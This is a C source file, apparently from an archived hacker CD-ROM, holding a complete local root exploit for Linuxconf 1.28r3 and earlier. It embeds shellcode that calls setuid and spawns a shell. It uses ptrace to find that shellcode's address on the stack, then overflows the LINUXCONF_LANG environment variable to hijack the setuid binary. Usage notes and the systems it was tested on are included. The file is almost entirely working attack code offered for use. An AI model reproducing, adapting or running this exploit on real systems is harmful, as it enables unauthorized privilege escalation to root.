home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / nslconf / nslconf.c
Encoding:
C/C++ Source or Header  |  2002-10-21  |  3.3 KB  |  181 lines

  1. /* 
  2.  * Linuxconf <= 1.28r3 local xploit
  3.  * by RaiSe <raise@netsearch-ezine.com>
  4.  * http://www.netsearch-ezine.com
  5.  *
  6.  * Tested on:
  7.  *             Mandrake 8.0
  8.  *             Mandrake 8.2
  9.  *             RedHat   7.3
  10.  *
  11.  * (run without args on directory
  12.  *  with +w)
  13.  */
  14.  
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <sys/ptrace.h>
  18. #include <sys/types.h>
  19. #include <sys/stat.h>
  20. #include <sys/wait.h>
  21. #include <asm/user.h>
  22. #include <string.h>
  23. #include <fcntl.h>
  24. #include <unistd.h>
  25.  
  26. #define PATHLCONF    "/sbin/linuxconf"
  27.  
  28.  
  29. unsigned long get_shell(void);
  30.  
  31. char shellcode[]=  // by RaiSe
  32. "\x90\x90\x90\x90\x90\x90\x90\x90"
  33. "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc9\x51\xb8\x38"
  34. "\x65\x73\x68\x66\x35\x56\x4a\x50\xb8\x65\x65\x62\x69\x66\x35"
  35. "\x4a\x4a\x50\x89\xe3\x51\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b"
  36. "\xcd\x80";
  37.  
  38.  
  39. int main(void)
  40. {
  41. FILE *fp;
  42. char buf[2056], buf2[2048];
  43. unsigned long shell, *p;
  44. int i;
  45.  
  46.  
  47. printf("\n[ Linuxconf Local Xploit by RaiSe ]\n\n");
  48. fflush(stdout);
  49.  
  50. sprintf(buf2, "%s.eng", shellcode);
  51.  
  52. if (mkdir(buf2, S_IRWXU))
  53.     {
  54.     fprintf(stderr, "* Error at creat directory (.eng), +w? is it exist?, "
  55.                     "delete it and run again.\n\n");
  56.     exit(-1);
  57.     }
  58. else    
  59.     sprintf(buf2, "%s.eng/%s.eng", shellcode, shellcode);
  60.  
  61. if ((fp = fopen(buf2, "w")) == NULL)
  62.     {
  63.     fprintf(stderr, "* Error at creat file,  +w?\n\n");
  64.     exit(-1);
  65.     }
  66. else
  67.     fclose(fp);
  68.  
  69. printf("* Directory + file created ..\n");
  70. printf("   [dont forget to delete it ;)]\n");
  71. fflush(stdout);
  72.  
  73. bzero(buf, sizeof(buf));
  74. shell = get_shell();
  75.  
  76. p = (unsigned long *) buf;
  77.  
  78. for (i = 0; i < 2048 ; i+=4)
  79.     *p++ = shell;
  80.  
  81.  
  82. setenv("SCODE", shellcode, 1);
  83. setenv("LINUXCONF_LANG",buf,1);
  84. execl(PATHLCONF, "linuxconf", NULL);
  85.  
  86. exit(-1);
  87.  
  88. } /******* end of main() ******/
  89.  
  90.  
  91. unsigned long get_shell(void)
  92. {
  93. unsigned long sc;
  94. struct user_regs_struct regs;
  95. int pid_vuln, n;
  96.  
  97.  
  98. /* creamos un proceso */
  99. if (!(pid_vuln = fork()))
  100.     {
  101.     char buf[2056];
  102.  
  103.     sleep(2);
  104.     bzero(buf, sizeof(buf));
  105.     memset(buf, 0x41, 2048);
  106.  
  107.     setenv("SCODE", shellcode, 1);
  108.     setenv("LINUXCONF_LANG",buf, 1);
  109.     execl(PATHLCONF, "linuxconf", NULL);
  110.  
  111.     fprintf(stderr, "Error: execl.\n");
  112.     exit(-1);
  113.     }
  114. else
  115.     {
  116.  
  117.     if (ptrace(PTRACE_ATTACH, pid_vuln))
  118.         {
  119.         fprintf(stderr, "Error: PTRACE_ATTACH.\n");
  120.         exit(-1);
  121.         }
  122.  
  123.     waitpid(pid_vuln, NULL, 0);
  124.  
  125.     printf("\n[* Looking at %%esp .. ]\n");
  126.     fflush(stdout);
  127.  
  128.     if (ptrace(PTRACE_CONT, pid_vuln, 0, 0))
  129.         {
  130.         fprintf(stderr, "Error: PTRACE_CONT.\n");
  131.         exit(-1);
  132.         }
  133.  
  134.     waitpid(pid_vuln, NULL, 0);
  135.  
  136.     if (ptrace(PTRACE_GETREGS, pid_vuln, 0, ®s))
  137.         {
  138.         fprintf(stderr, "Error: PTRACE_GETREGS.\n");
  139.         exit(-1);
  140.         }
  141.  
  142.     printf("[* Looking at: 0x%08x ]\n", (int) regs.esp);
  143.     fflush(stdout);
  144.  
  145.     n = 0, sc = 0;
  146.  
  147.     do 
  148.         {
  149.         if ((sc = ptrace(PTRACE_PEEKTEXT, pid_vuln,
  150.              (int)(regs.esp+(n++)), 0)) == -1)
  151.             {
  152.             fprintf(stderr, "Error: PTRACE_PEEKTEXT.\n");
  153.             exit(-1);
  154.             }
  155.  
  156.         } while (sc != 0x90909090);
  157.     
  158.     n--;
  159.     printf("[* Shellcode found at: 0x%08x ]\n", (int)(regs.esp + n));
  160.     fflush(stdout);
  161.  
  162.     if(ptrace(PTRACE_KILL, pid_vuln, 0, 0))
  163.         {
  164.         fprintf(stderr, "Error: PTRACE_KILL.\n");
  165.         exit(-1);
  166.         }
  167.     else
  168.         {
  169.         waitpid(pid_vuln, NULL, 0);
  170.         printf("[* Xploting .. ]\n\n");
  171.         fflush(stdout);
  172.         sleep(1);
  173.         return((unsigned long)(regs.esp + n));
  174.         }
  175.     }
  176.  
  177. } /********* enf of get_shell() **********/
  178.  
  179.  
  180. /* EOF */
  181.